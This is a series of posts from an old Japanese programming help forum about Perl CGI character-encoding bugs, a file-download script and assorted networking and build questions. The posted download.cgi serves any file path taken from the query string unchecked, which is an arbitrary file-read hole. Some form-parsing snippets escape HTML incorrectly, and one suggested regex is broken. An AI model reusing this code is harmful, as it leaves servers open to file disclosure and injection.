とても長いCGI処理がしたくてforkで子プロセスに処理を投げてあげたときは、ブラウザがすぐ開放されることは分かったんです。でも、処理中にエラーとか発生したときは見た目で分からなくなっちゃうんですよね?? エラーのときはなんか表示させたいのですが良い方法はあるのでしょうか? それとも長い処理はもっとfork以外の違う方法があるんですかね?? よろしくおねがいします。。。 |
|
>>2165 けんじ > ただ、perlやshではうまくいってくれるのですが perl と sh と csh は全く別物ですけど、それは理解されてますか? > 特になにも変更等していないのですが、、、、。 という文章は、sh で動いたものをそのまま csh でも動かそうと しているように見受けられます。 > "ディレクトリースタックの番号指定が深過ぎます." $d<=16 を d<=16 と書けばそうなります。 >>2166 かな 掲示板の一番上にある「使い方」を全く読んでいませんね。 # http://www.parkcity.ne.jp/~chaichan/qanda/qa1999.htm?01-10-03-19-11 |
|
>>2158 68user > print 文でデータを出力してみて下さい。そしたらどこで化けて > いるかわかるでしょう。また、フォームが書いてある HTML の文字 > コードが何になっているかも調べて下さい。 やってみたら,どこで化けているかわかりました。 jcode::convert(\$str, 'euc'); で化けていて,これを削除したら化けなくなりました。 なぜでしょうか? フォームが書いてあるHTMLの文字コードはeucにしています。 その場合は,コンバートする必要がないということでしょうか? とりあえず解決したみたいなのですが(?), 気になるのでぜひ教えて下さい。 > $file1[9] が正しい、ってことでしょう。 あ,確かに。 本からそのまま写して問題なく動いていたので 全然気付きませんでした。 人に見せると恥ずかしいので,早速,修正しました。 ありがとうございました。 > その本は捨てましょう。 あはは(^^; 確かに,少なくとも私のような初心者は 正しい記述の本で勉強した方がいいでしょうね。 私でも気付くような間違いがあちこちにあることは確かです。 でも,プログラミングのアイデアというかミソというか 参考になる点もたくさんあって,結構重宝してます。 |
|
とても初歩的な質問だと思いますが、教えて下されば幸いです。 掲示板を最近設置したのですが、サーバがアメリカにあるため 時差があるタイムスタンプをします。この時間を 16 時間早めたいのですが どのような記述をすればいいのか、わからないのです。恐らく下記の一行が関係するのだと思います。 $TimeDiff = 0; よろしくお願いいたします。また、過去ログを一応見ましたが既出の質問であった場合はお詫び申し上げます。 |
|
>>2168 椎 > なぜでしょうか? なぜでしょうね? 正確なところは各部分で s/([^-_a-zA-Z0-9])/sprintf("%%%02lX",unpack("C",$1))/eg; として URL エンコードした結果を見ないとわかりません。 > フォームが書いてあるHTMLの文字コードはeucにしています。 > その場合は,コンバートする必要がないということでしょうか? NN4, NN6, IE4, IE5 あたりなら、フォームの書いてある HTML と 同じエンコーディングで、フォームデータを送ってきますので、 フォームの書いてある HTML と、処理するデータのエンコーディングが 一致しているなら jcode::convert は必要ありません。 ただし、これは規格として明文化されているわけではないので、 あくまでも NN と IE がそういう挙動をする、ということです。 もし Shift_JIS や ISO-2022-JP で送ってくるブラウザがいた 場合は化けます。 >>2169 ジュン > この時間を 16 時間早めたいのですが 言語は何ですか? 以下は perl だと仮定して…。 $TimeDiff をどのように利用しているのかわからないと なんとも言えませんが、秒数なら $TimeDiff = 60*60*16、 時間なら $TimeDiff = 16 でしょうか。 localtime を使っているなら、その前の行に $ENV{TZ}='JST-9'; と 書いておけばうまくいくかもしれません。 |
|
> その本は捨てましょう。 う〜ん、ここは68userのボードなので構わないのですが、 なんか、2ch化しているようでちょぴりショックだなぁ(^^ゞ 多分typeでしょう、本当にその様に書くことを勧めているのであれば 68userさんと同じ意見ですが… だけど、椎さんがコマンドの本来の項を読まずに、理解しようとしないで コピーしているだけであれば、椎さんの手抜きでしょうけど(^^ゞ まあ、自分もはじめはそうだったので人の事を言えませんが(笑) ちなみに、テストの為にコンバートした短い文字列を表示していませ んか?昔のネスケでの挙動ですが、短い文字列の場合はブラウザで文字 コードの判別がつかずに化ける場合があります。 その場合はそこそこの長文を表示すると、うそのように表示される場合 が有りました。 原因はSJISとEUCの文字コードが一部かぶる為です。(自分のスクリプ トはSJISで記述の為) あと、よくやるのがEUCでコンバートして出力していながら、CGIの他の 表示部分で違うコードを出力していたり(結構気付かなかったりします) プログラマーな人は、この様な無駄なトラブルを減らす為にALL EUCで 作る人が多いようですね。 >プログラミングのアイデアというかミソというか 自分の場合は、他人のスクリプトを解析することでいろいろ覚えました。 リファレンス以外はこの手法が一番お勧めです。 無駄を省いたルーチンは誰が作っても大体同じようなものになるはずです。 この掲示板のソースだってかなり勉強になるはずですよ(^^ゞ >>2166 かな 「使い方」を読むどころか、コピー文章ですね(^^ゞ ここまで典型的なのもはじめて見ました(笑) ところで、最近JAVAに嵌まっているようですが、JAVAはJavaScriptと perlとどちらに近い印象でしょうか?>68userさん 敬遠していたJAVAも覚えた方がいいかなぁ、と思う今日この頃(^^ゞ |
|
>>2168 椎 > jcode::convert(\$str, 'euc'); > で化けていて,これを削除したら化けなくなりました。 > なぜでしょうか? とりあえず, getcode 関数の戻り値を確認してみましょう。 http://www.mikeneko.ne.jp/~lab/kcode/jcode.html#h2-1 http://www.din.or.jp/~ohzaki/perl.htm#JP_Code >>2157 椎 >> スライス? > すみませんが,意味がわかりませんでした。 ありゃ。すみません。 >>2158 68user > $file1[9] が正しい、ってことでしょう。 という意味でしたが, 断言する自信が無いのと もし, 意図的にやっている事ででしたら その理由が聞きたかったもので… ちなみにスライスについては http://www.context.co.jp/perlnews/bn/perl-newsletter-0010.html http://www.context.co.jp/perlnews/bn/perl-newsletter-0013.html が参考になると思います。 |
|
>68userさん 素早い回答と、明確のお答えありがとうございます。 使っている言語はperlで、秒数の設定により解決しました。ありがとうございました。 |
|
>>2170 68user > 一致しているなら jcode::convert は必要ありません。 必要ないということは,あってもいいのでしょうか。 つまりeucをeucにコンバートする処理をしても問題はないんですよね? そうだとしたら,今回の問題はまだ解決できていないということですね。 >>2171 スナフキン > コピーしているだけであれば、椎さんの手抜きでしょうけど(^^ゞ ええ,その通りです。まだわからないことが多いので,とりあえず(^^; > そこそこの長文を表示すると、うそのように表示される場合 > が有りました。 そうかもしれません。ただ,短い文字列を入力するようにしていますので, 根本的に解決しないとダメですね。 > CGIの他の表示部分で違うコードを出力していたり イメージできないんですが,具体的にどんな場合でしょうか。 エディタでeucで保存するようにしているのですが, これだけではeucにならないものでしょうか。 > この掲示板のソースだってかなり勉強になるはずですよ(^^ゞ 機種依存文字の検出のところなど,参考にしたいなと思っていました。 とはいえ,今日初めてソースを見たのですが, 理解するのに,かなり時間がかかりそうです。 >>2172 /tk > とりあえず, getcode 関数の戻り値を確認してみましょう。 おお,これは使えそうですね。やってみます。 > ちなみにスライスについては なるほど〜。よくわかりました。 必要がないのにスライスを使っていたことになるわけですね。 意図的でなくて申し訳ない感じです。 |
|
こんにちは、はじめましてTOMです。 初級アマチュアプログラマーです。 ちょっと自分で解決できなかったので質問を聞いてください。 ・モジュールAに、ライブラリlib30.soをリンクしています。 ・モジュールBに、ライブラリlib40.soをリンクしています。 ・さらに、ライブラリlib40.soの中で、ライブラリlib30.soの中の関数Func09が 使用されています。 ライブラリlib30.soの中の関数Func09が修正されました。 再コンパイル、再リンクは、 全て(モジュールA・モジュールB・lib30.so・lib40.so) 行わなければならないのでしょうか? よろしくおねがいします。 |
|
>>2175 TOM Func09 の引数の数や、引数の型、戻り値の型を変更しましたか? また、Func09 から他の部分のグローバル変数を参照するところ を変更しましたか? いずれの変更もしてないなら、ライブラリ利用側の再コンパイル・ 再リンクは不要です。 引数や戻り値を変えた (=インタフェースを変えた) なら、 再コンパイル・再リンクのし忘れを防ぐため、メジャー番号を lib30.so.1 -> lib30.so.2 などと上げた方がよいでしょう。 >2174 >> 一致しているなら jcode::convert は必要ありません。 > 必要ないということは,あってもいいのでしょうか。 あってもよいです。僕は必ず jcode::convert は付けます。 > つまりeucをeucにコンバートする処理をしても問題はないんですよね? 本来問題ないのですが、Shift_JIS の半角カナと EUC-JP を正確に 判別することはできないので、EUC-JP な半角カナを Shift_JIS の 文字列だと誤認してしまい、EUC-JP に変換しようとする、ということは あります。 一応 jcode.pl がエンコーディングを自動判別する際は、「Shift_JIS と して解釈できる部分の長さ」と「EUC-JP として解釈できる部分の長さ」を 比較して長さが長い方を採用しますが、もちろんこれでも完璧では ありません。 # たしか両方の長さが一致したら、EUC-JP とみなされたと思う。 > 必要がないのにスライスを使っていたことになるわけですね。 いいえ、@a[0] はスライスを使っているわけではありません (よね?)。 perl がおせっかいなので @a[0] -> $a[0] という読み替えをしている だけです。 % perl -we '@a=(100,200);print "@a[0]\n"' Scalar value @a[0] better written as $a[0] at -e line 1. 100 >>2171 スナフキン > ところで、最近JAVAに嵌まっているようですが、JAVAはJavaScriptと > perlとどちらに近い印象でしょうか?>68userさん うーん、どっちも遠いですねぇ…。でもまぁ僕がやってるのは サーバサイドの方なので、どちらかと言えば perl ですか。 でも、perl とは似てないですね。 とにかくクラス設計が楽しいです。 |
|
すいませんでした。 以後気を付けます。。 |
|
はじめまして。 ネットワーク関係の関数でちょっと質問なのですが。 inet_aton(hostname)になっていますがこれをinet_aton (ipaddres) にしても問題はないのでしょうか? hostnameが解決されていない場合、IPアドレスをそのまま 使用してみたのですが表面上問題はでていませんが、 内部的にどうかまで分からなかったので。 どなたか教えて下さい。 分かり難い内容の書き込みになってすみません。 |
|
>>2176 68user > # たしか両方の長さが一致したら、EUC-JP とみなされたと思う。 一致した場合は undef では? > いいえ、@a[0] はスライスを使っているわけではありません (よね?)。 > perl がおせっかいなので @a[0] -> $a[0] という読み替えをしている > だけです。 http://www.ascii.co.jp/books/detail/4-7561/4-7561-3057-7.html を読んだうえでの僕の解釈は @a[0] はスライスです。 但し, 要素数が 1 のリストであり, スカラー値ではありません。 たまたま @a[0] をスカラーで評価したときに, その最後の要素である $a[0] が返されただけです。 となるのですが 例によって勘違いしている可能性大です。 |
|
>>217668user 68userさん インターフェイスの変更は、ありませんので ライブラリ利用側を再コンパイル・再リンクせずに利用できました。 回答ありがとうございました。 |
|
/tkさんが教えてくれた↓のページを読むと, > http://www.mikeneko.ne.jp/~lab/kcode/jcode.html#h2-1 ・convert()は内部ではgetcode()を自動的に呼び出し文字コードを判断する ・getcode()では,半角カナは文字コードの自動認識の判断対象からはずされる とあります。また,スナフキンさんが > そこそこの長文を表示すると、うそのように表示される場合が有りました。 と言われたように,私の場合も半角カナ以外の文字をある程度以上追加すると 文字化けしないことがあります。 例)アイウエオ(半角) →竺軸宍雫七(全角) アイウエオ(半角)あいうえお(全角)→アイウエオ(半角)あいうえお(全角) これらのことから,今回の文字化け現象の原因は,convert()が (正確にはgetcode()が)半角カナの文字コードを 正確に判別できていないことのようです。 これを調べるためにコンバートの前後でgetcode()をかけてみました。 $code1 = &jcode::getcode(\$str); jcode::convert(\$str, 'euc'); $code2 = &jcode::getcode(\$str); その結果,次のようになりました。 $str = 'あいうえお' → $code1 = 'euc',$code2 = 'euc' $str = 'アイウエオ(半角)' → $code1 = 'sjis',$code2 = 'euc' つまり,getcode()は半角カナの「アイウエオ」をsjisと判定して sjisをeucに変換する処理をしていたのです。 長々と書きましたが,68userさんが書かれたように, > Shift_JIS の半角カナと EUC-JP を正確に > 判別することはできないので、EUC-JP な半角カナを Shift_JIS の > 文字列だと誤認してしまい、EUC-JP に変換しようとする、ということは > あります。 ということのようです。 で,ここでどうするかというプログラム上のアイデアが問われるのですが, (残念ながら例の本には載っていません・笑) 今は,「$strに全角文字を数個追加して,コンバート後にそれを除く」ということを 考えています。 ただ,自分でもかっこ悪いなぁと思うので,他にアイデアがあれば教えて下さい。 >>2176 68user > いいえ、@a[0] はスライスを使っているわけではありません (よね?)。 私は/tkさんが教えてくれたページを読んでスライスを覚えたので No.2179の/tkさんと同じ解釈をしたのですが, この解釈の違いによって,使い方とその結果が変わるということが ないのであれば,あまり本質的な問題ではないような気がします。 68userさんが正しい知識を教えようとしてくれる気持ちはとてもありがたいです。 |
|
シイ |
|
すみません。下の書込は私,椎です。 今回のことがあって,名前のような文字数が少ないフォームへの 日本語の記入に抵抗を感じたので, これから椎はやめてshiiにしようと思います。 |
|
>>2178 SA > inet_aton(hostname)になっていますがこれをinet_aton (ipaddres) > にしても問題はないのでしょうか? 問題ないと思います。FreeBSD では inet_aton と inet_addr は同じ 関数になってます。 # http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/net/inet_addr.c?rev=1.12.2.1 >>2179 /tk > @a[0] はスライスです。 ん〜、(@a)[0] とは違うということですか? >>2179 /tk > 一致した場合は undef では? >>2181 椎 > ・getcode()では,半角カナは文字コードの自動認識の判断対象からはずされる そうでしたっけ…。昔 jcode.pl を読んだときはそうじゃなかった ような気がしますが、読み違えていたのかもしれません。 > 今は,「$strに全角文字を数個追加して,コンバート後にそれを除く」と > いうことを考えています。 追加する全角文字のエンコーディングを EUC-JP にするか、Shift_JIS に するかが問題です。どちらか決めるためには追加対象文字列のエンコーディングを 自動判別しなきゃいけません。で、それが正確にはできないので…と堂々めぐりです。 まぁ、元のフォームが EUC-JP であるということなので、 /([\x00-\x7F]|[\xA1-\xFE][\xA1-\xFE]|\x8F[\xA1-\xFE][\xA1-\xFE])*/ にマッチすれば EUC-JP として解釈できる文字列である、ということですから 無変換、でいいと思います。 # jcode.pl は汎用ライブラリですからそうもいきませんが。 > すみません。下の書込は私,椎です。 名前の部分にカーソルがある状態で Enter を押しても書き込み しないようにすればよいのかな? (どうやるのかさっぱりわかりません) |
|
>>2184 68user > 追加する全角文字のエンコーディングを EUC-JP にするか、Shift_JIS > にするかが問題です。 半角カナ「アイウエオ」の場合,後ろにスペースを3つ追加するだけで 上手くいきました。多分,全角文字なら判別対象になるので, それをある程度の長さで追記すればいいのかなと思いました。そこで, html側で別に送った全角文字を追加して判別するつもりでした。 ただ,こちらの掲示板では短い半角カナの「シイ」を判別できたので, jcode.plのせいではないようです(私の方ではシイも化けました)。 cgi-lib217.plを使っているせいかも……? 人様のプログラムの改造から使い始めたPerlですが, 以前に比べればいろいろなことがわかってきました。 上述のことを確かめる意味でも, 自分が理解できる範囲で1から作り直してみることにします。 (jcode.pjは深く考えずに使いますが……(^^;) それを検証できたらまた報告しますね。 |
|
>>2174 椎 >イメージできないんですが,具体的にどんな場合でしょうか。 すみません、よく読んでいませんでした。 CGIで出力するページソースの中の日本語コメントがSJISでEUCに変換 した日本語を同時に出力と言うケースでしたが、shiiさんの場合は まったく違うようですね。 >>2176 68user サーバーサイドという事は常駐システムですね。 さすが68userさん(笑) 自分も先日初心者用のCD付き本を買ってきて、JDKをインストールして みましたが、いきなりサンプルの Hello! が動かないトラブルで、 既にめげています(笑) ざっと見た感じでは、関数類を覚えれば特に難しく無さそうな感じも しますが、甘いかな?(^^; もしよければ、お勧めの初心者向けサイトを教えてくれると嬉しいです。 >2184 >名前の部分にカーソルがある状態で Enter を押しても書き込み こういう事でしょうか? <HEAD〜内 <SCRIPT LANGUAGE="JavaScript"> <!-- function submit_check(){ if(!document.FORM.elements.MESSAGE.value){ alert("メッセージを記入してください。"); return; } if(!document.FORM.elements.NAME.value){ alert("名前を記入してください。"); return; } document.FORM.submit(); } //--> </SCRIPT> <FORMへ <FORM METHOD=POST ACTION="$script_name" NAME="FORM" OnSubmit="submit_check();return false;"> 外してます? |
|
>68userさん ありがとうございました。 IPアドレスで使用していきます。 |
|
cgi-lib217.plを使わずにreadで読んでやってみましたが やはり文字化けしました。引き続き調査中です。 |
|
すいません、また怪奇現象が起こったのでお力をお貸しください。 Excel のワークシートを単純に <a href> タグでリンクすると クリックすると中が見えてしまう(文字化けの文書として開こうとする)ので、 いぜん別の場所で教えてもらった方法をアレンジして 下のような CGI スクリプトで行っています。 --- download.cgi --- #! perl $arg = $ENV{'QUERY_STRING'}; $arg =~ /name=(.*)/; $excelfile = $1; $pwd = `pwd`; chomp($pwd); unless (open (FL, $excelfile)) { print "Content-type: text/plain\n\n"; print "error opening $excelfile because $! at $pwd"; exit; }; print <<HEAD; Content-type: application/octet-stream Content-disposition: attachment;filename="$excelfile" HEAD print <FL>; close(FL); ------------------- これを、 <a href="http:.../cgi-bin/download.cgi?name=test.xls">ここをクリック</a>して xls ファイルを、、 のように呼び出そうという寸法です。 これが、場所によって挙動が異なるのです。 project | cgi-bin | | download.cgi | subproj1 | | aaa.html | | xxx.xls | subproj2 | | subdir | | | bbb.html | | | yyy.xls ここで、 http://org/~project/subproj1/aaa.html として見える aaa.html の中に、 <a href="http://org/~project/cgi-bin/download.cgi?=xxx.xls">XXXをダウンロード</a> と書くとうまくいくのですが、 http://org/~project/subproj2/subdir/bbb.html の中に、 <a href="http://org/~project/cgi-bin/download.cgi?=yyy.xls">YYYをダウンロード</a> と書くと、 error opening yyy.xls because No such file or directory at /.../project/cgi-bin と表示されます。 パスが何らかの理由で見えないのかと思って <a href="http://org/~project/cgi-bin/download.cgi?=../subproj2/subdir/yyy.xls">YYYをダウンロード</a> と書くと、なんと download.cgi という名前でファイルを保存しようとします。 保存して中を開けてみると、中身はなんと yyy.xls! 1回目の実験は xxx => yyy の順番で行ったので、 何らかのキャッシュが行われているのかと思い、yyy => xxx の順で行っても同じです。 ということでよろしくお願いします。 サーバー側は FreeBSD 2.2.8-RELEASE+Apache(Apache のバージョンの見方がわかりません、、)、 クライアント側は Windows2000 Server+NC4.51 および IE6 です。 |
|
↓下の件ですが、Apache は 1.2.5 だと管理者からメールが来ました。 |
|
>>2185 shii そうですか、できましたか。どうも僕だけ話をわかってなくて 間違ったことばかり言っているようです。すみません。 >>2189 ふくし download.cgi が実行されたときのカレントディレクトリは、download.cgi のある ディレクトリになっているはずです。 よって、cgi-bin/xxx.xls も cgi-bin/yyy.xls もないので両方失敗するはずです。 なのに xxx.xls だけ成功するということは、cgi-bin/ の下に xxx.xls だけファイルが 置いてあったとか、シンボリックリンクが張ってあったとかいうオチではないかと 思うのですが、いかがでしょうか。 >>2186 スナフキン > サーバーサイドという事は常駐システムですね。 うーん、CGI を常駐システムと呼ばないのと同じで、Java Servlet も 常駐システムとは呼ばないと思います。 > ざっと見た感じでは、関数類を覚えれば特に難しく無さそうな感じも > しますが、甘いかな?(^^; いや、そんなもんじゃないですか? 標準クラスライブラリを組み合わせて パズルのようにプログラムを組み上げて行く感じです。 書き込みミスをした原因は >>2184 68user > 名前の部分にカーソルがある状態で Enter を押しても書き込み > しないようにすればよいのかな? のせいですか?>shii さん もしそうなら >>2186 スナフキン > <FORM METHOD=POST ACTION="$script_name" NAME="FORM" OnSubmit="submit_check();return false;"> を組み込みます。 |
|
>68user さん すいません、、xxx.xls がなんかのはずみで cgi-bin に 入ってました、、いつもすいません、、。 ../ で cgi-bin に遡れないんですね。 (download.cgi として yyy.xls が保存できたのがわからんが、、) cgi-bin の下に project に対するシンボリックリンクを張って 解決しました。 |
|
>>2191 68user > そうですか、できましたか。どうも僕だけ話をわかってなくて > 間違ったことばかり言っているようです。すみません。 え。何も間違ってないですよ(と,思うのですが)。 私の書き方がわかりにくかったらすみません。 というか私が無知で,68userさんが書いていることを理解できて いないような気がします。 > 書き込みミスをした原因は 申し訳ないと思いつつ,半角カナを試させていただいたのです。 ですから書き込みミスではありません。すみません。 プログラム上は同じ事をやっている気がするのに, どうしてこちらの掲示板では半角カナを判別できるのか が現在の謎です。 ちなみに, 私のCGIでは「シイ(半角)」が「鴫」と化けます。 有名なTeaCupの掲示板でも同じように化けました。 私がこちらのソースを見ただけでは,わからなかったのですが, コード判別で何か特別なことをされていますか? 私のjcode.plのバージョンはv 2.3 1997/02/23ですが, バージョンのせいってことがあるのかな……? |
|
大ショックです。 jcode.plを最新版(v 2.13 2000/09/29)に入れ替えたら 半角カナを認識しました。それだけのことだったのです。 大解決です。ここまでたどりつけたのも皆様のおかげです。 ありがとうございました。 それから,いろいろと変なことを書いたりやったりして すみませんでした。 ちなみに下に書いた私が使っていたjcode.plのバージョンは, 中に書いてあった記述をそのままコピーして貼ったのですが, ちょっと変ですね(^^; |
|
思わず,半角カナを認識したと書きましたが,正確には違うようです。 半角カナのsjisとeucは判別しようがないですよね。 中の説明には特に書かれていないようですが, 判別不能な場合の処理として, 古いバージョンではsjisと判断していたところを eucに判断するようにしたのではないでしょうか。 |
|
どうやら,2.3から2.6にバージョンアップしたときに 修正されたようです。以下,引用です。 (バージョンの記述が変だったというのは私の勘違いでした。) −−−−−−−−−−−−−−−−−−−−− jcode.pl-2.6 をリリースしました。 ftp://ftp.iij.ad.jp/pub/IIJ/dist/utashiro/perl/jcode.pl-2.6 2.3 からの変更点は、以下の通り。 - &jcode'tr の中で JIS コードの認識方法をちょっとだけ変更 - JIS X 0208-1990 のシークエンスを認識するように変更 - &jcode'getcode のバグを修正して、説明を追加 --utashiro |
|
はじめまして。玉中と申します。 突然の投稿で失礼致します。 1台のパソコンにネットワークカードが複数枚ささっており、それぞれにIPアドレスが割り当てられている場合に、それら全てのIPアドレスを取得するにはどのようにすればよいのでしょうか。言語は C/C++ です。 NIC が1枚だけの場合は、gethostname() と gethostbyname() で取得できるのですが、複数の場合の取得方法が分かりません。 つまりは、ifconfig コマンドのようなことをやりたいのですが、 どなたか方法をご存知ありませんでしょうか。 よろしくお願い致します。 |
|
UDPクライアントをPerlで作成したいのですが なかなか上手く行きません。 特定のポート番号(例 NTPの123)にメッセージをなげて そのポート番号が存在するかしないかを確かめたいのですが・・・ どなたか詳しい方いらっしゃいませんか? |
|
>>2198 SA > 特定のポート番号(例 NTPの123)にメッセージをなげて 送るだけなら、多分こんな感じだったかと。 use Socket; my $iaddr = inet_aton("10.0.0.1"); my $sock_addr = pack_sockaddr_in(123 ,$iaddr); socket(SOCKET, PF_INET, SOCK_DGRAM, 0); send(SOCKET, "hoge", 0, $sock_addr); ただし、 > そのポート番号が存在するかしないかを確かめたいのですが・・・ UDP なので、送ったデータが相手側に到達したかどうかは 判別できません。 >>2197 玉中 > つまりは、ifconfig コマンドのようなことをやりたいのですが、 ioctl & SIOCGIFCONF でやるか、BSD 系なら getifaddrs(3) ってのが 使えるはずです (OS 名くらい書きましょう)。どちらも http://www.mmjp.or.jp/pearsoned/washo/network/wa_net28-j.html の16章に載ってます。 あとは ifconfig のソースなどを参考にして下さい。 http://www.jp.FreeBSD.org/cgi/cvsweb.cgi/src/sbin/ifconfig/ |
|
>>2184 68user >> @a[0] はスライスです。 > ん〜、(@a)[0] とは違うということですか? どちらもスライスだと思うのですが @a は配列のスライスで, (@a) はリストのスライスかと… ただし, どちらも一般的には「配列スライス」で括られると思います。 要は, 単数であっても配列やリストの添え字であった場合には スライスと呼べるだろうという個人的解釈です。 # ↑突っ込み大歓迎モード |
|
AGEと申します。 Red Hot Linux 7.0J を使用しています。 「ntp-4.1.0.tar.gz」をインストールしてみました。 しかし、rpm のものがあったのでアンインストールしたいのですが インストールされたファイルを知る方法はあるのでしょうか? よろしくお願いいたします。 |
|
>>2191 68user ServletもCGIと同じくリクエスト毎に起動するのですか? 不勉強でした。セッション管理ができると言うので常駐するものと 勘違いしていました。 >パズルのようにプログラムを組み上げて行く感じです。 そのパズルが難しそう(^^; >>2201 AGE >インストールされたファイルを知る方法はあるのでしょうか? man rpm をどうぞ。 ntpってRHLに標準で入っている(はず)の xntpdとは別物なんですね。 |
|
>>>2202 スナフキン >man rpm をどうぞ。 すいません。言葉足らずでした。 xntp はインストールされてなかったので、 ntp はソースから make install しました。 その場合のインストールされたファイルを知りたかったのです。 ntp を削除して、管理しやすい xntp(ntp-4.0.99-15〜.rpm)を インストールしようとおもってます。 |
|
ええと,結局,最新版jcode.plでも半角カナは文字化けしました。 たまたま「シイ」はOKでしたが「アイウエオ」はNGでした。 こちらの掲示板でもたぶん化けると思います。 そこで,前に書いた方法をスクリプトにしてみました。 尚,送信ページには,↓この1行が入っています。 <INPUT TYPE="hidden" NAME="assist" VALUE=" "> VALUEは,全角スペース5個です。 −−−− # コード判別補助文字列名(送信ページと統一,半角英数字に限る) $assi = 'assist'; read(STDIN,$input,$ENV{'CONTENT_LENGTH'}); @parts = split(/&/,$input); # コード判別補助文字列$ASSIST0の取得 foreach(@parts) { ($key0,$val0) = split(/=/); # 最初の=で分離 $key0 =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg; if ($key0 eq "$assi") { $ASSIST0 = $val0; } } foreach(@parts) { ($key,$val) = split(/=/); # 最初の=で分離 $val =~ tr/+/ /; # trは1文字単位の置換 # コード判別補助文字列の追加 if ($key ne "$assi") { $val = $val.$ASSIST0; } $key =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg; $val =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg; jcode::convert(\$key,'euc');#---- from jcode.pl jcode::convert(\$val,'euc');#---- from jcode.pl if ($key eq "$ass") { $ASSIST = $val; } $val =~ s/($ASSIST)$//g; # コード判別補助文字列の除去 $key =~ s/\r\n|\r|\n//g; # gはマッチする文字全て $val =~ s/\r\n|\r|\n//g; $key =~ s/,/,/g; $val =~ s/,/,/g; $key =~ s/</</g; $val =~ s/</</g; $key =~ s/>/>/g; $val =~ s/>/>/g; $key =~ s/"/”/g; $val =~ s/"/”/g; $key =~ s/&/&/g; $val =~ s/&/&/g; $in{$key} = $val; } −−−− これで「ア」などという1文字の半角カナもコード判別できているようです。 もうちょっとスッキリできればいいのですが……。 |
|
>>2204 shii http://www.din.or.jp/~ohzaki/perl.htm#JP_Code っていうかそのコードには 気になる点がいろいろと・・・ |
|
>>2205 ナナシサソ リンク先はPerlメモのgetcode関数のところですね。 できれば気になる点を具体的に指摘していただけると とてもありがたいのですが。 |
|
>>2204 shii 考え方はよいのですが、もちっとスマートにやるなら、 「あ」の文字コードを調べるスクリプト require 'jcode.pl'; $_="あ"; jcode::convert(\$_, 'euc'); s/(\W)/sprintf("%%%02X", unpack("C", $1))/eg; print "あ in euc-jp: $_\n"; $_="あ"; jcode::convert(\$_, 'sjis'); s/(\W)/sprintf("%%%02X", unpack("C", $1))/eg; print "あ in shift_jis: $_\n"; $_="あ"; jcode::convert(\$_, 'jis'); s/(\W)/sprintf("%%%02X", unpack("C", $1))/eg; print "あ in jis: $_\n"; 実行結果: あ in euc-jp: %A4%A2 あ in shift_jis: %82%A0 あ in jis: %1B%24B%24%22%1B%28B # これは他のパターンも有りうるかも を踏まえて、 <input type="hidden" name="assist" value="あ"> としておき、 read(STDIN,$input,$ENV{'CONTENT_LENGTH'}); ($assist_code) = $input =~ s/(^|&)assist=(.*?))($|&)//; if ( $assist_code =~ m/^\%A4\%A2$/i ){ $input_encoding = 'euc'; } elsif ( $assist_code =~ m/^\%82\%A0$/i ){ $input_encoding = 'sjis'; } elsif ( $assist_code =~ m/^\%1B\%24B\%24\%22\%1B\%28B$/i ){ $input_encoding = 'jis'; } @parts = split(/&/,$input); foreach(@parts) { ($key,$val) = split(/=/); $key =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg; $val =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg; jcode::convert(\$key,'euc', $input_encoding); jcode::convert(\$val,'euc', $input_encoding); } くらいがよろしいかと思います (動作確認はしていません)。 >>2203 AGE > ntp はソースから make install しました。 > その場合のインストールされたファイルを知りたかったのです。 もし Makefile に uninstall とか deinstall とかいうターゲットがあるなら、 # make uninstall # make deinstall ですが、なさそうならば # make -n install して、インストールされるファイルをメモって、手動で rm ですね。 >>2202 スナフキン > ServletもCGIと同じくリクエスト毎に起動するのですか? いいえ、しません。そういう意味では常駐していますね。 しかし、CGI を使うときも apache が常駐していますが、「常駐 システムを開発している」という意識は僕にはありません。それと 同様に、Servlet コンテナが常駐していても「常駐システム」とは 呼ばないんじゃないなぁ、ということです。まぁ、ここらへんの 感覚は人によって違うのかもしれません。 >>2200 /tk > どちらもスライスだと思うのですが えっと、@a[0] と (@a)[0] は違うんですよね? ということです。 要は、 「@a[0] は文法エラーのところを perl があえて $a[0] に読み変えている」 とこれまで思っていたのですが、 「@a[0] は文法的には正しいけれど、$a[0] の方が適当なので perl があえて警告するようにしている」 ということでしょうか? > @a は配列のスライスで, (@a) はリストのスライスかと… perl に配列とリストという区別はあるんでしたっけ。 |
|
>>2207 68user おお,なるほど!ありがとうございます。 ダミーを送るのなら,それをわざわざ対象文字列に結合しなくても いいわけですね。私が間抜けでした。 文字コードを調べるスクリプトが面白いですね(勉強になります)。 今回の件を自分のCGI向けに最小限にカスタマイズした(つもりの) スクリプトが下記です。 #--------------------------------------------------------- read(STDIN,$input,$ENV{'CONTENT_LENGTH'}); @parts = split(/&/,$input); foreach(@parts) { ($key,$val) = split(/=/); $val =~ tr/+/ /; $key =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg; $val =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg; $code = &jcode::getcode(\$key); jcode::convert(\$key,'euc',$code); jcode::convert(\$val,'euc',$code,"z"); $val =~ s/\r\n|\r|\n//g; $val =~ s/,/,/g; $in{$key} = $val; } #--------------------------------------------------------- 入力項目名に半角カナ以外の日本語を使用することが前提なので, 汎用性はありません。 getcode関数を全項目に使っているところが余分なのですが, 見た目は,以前に比べてすっきりしました。 ところで, > ($assist_code) = $input =~ s/(^|&)assist=(.*?))($|&)//; ここはassistの中身のみを残して残りを消す作業だと思うのですが, ($assist_code)にカッコがついている理由と, 正規表現内のカッコの数が合わない理由を教えてください。 ・「行の先頭」または「&の直後」にある「assist=」 ・「任意の1文字の0回以上の最短マッチ」 ・「行の終わり」または「&の直前」 と,部分的にしか理解できませんでした。 |
|
>>2208 shii おいらはこう書くべきと思うけどな my ($assist_code) = $input =~ /(?:^|&)assist=([^&]*)/; どうせassist=なんじゃら、なんて残ってたって関係ないし。 > 正規表現内のカッコの数が合わない理由を教えてください。 ミスだねこれは だいたい、これだと > ($assist_code) = $input =~ s/(^|&)assist=(.*?))($|&)//; $assist_codeに入るのは(^|&)の部分になっちゃう |
|
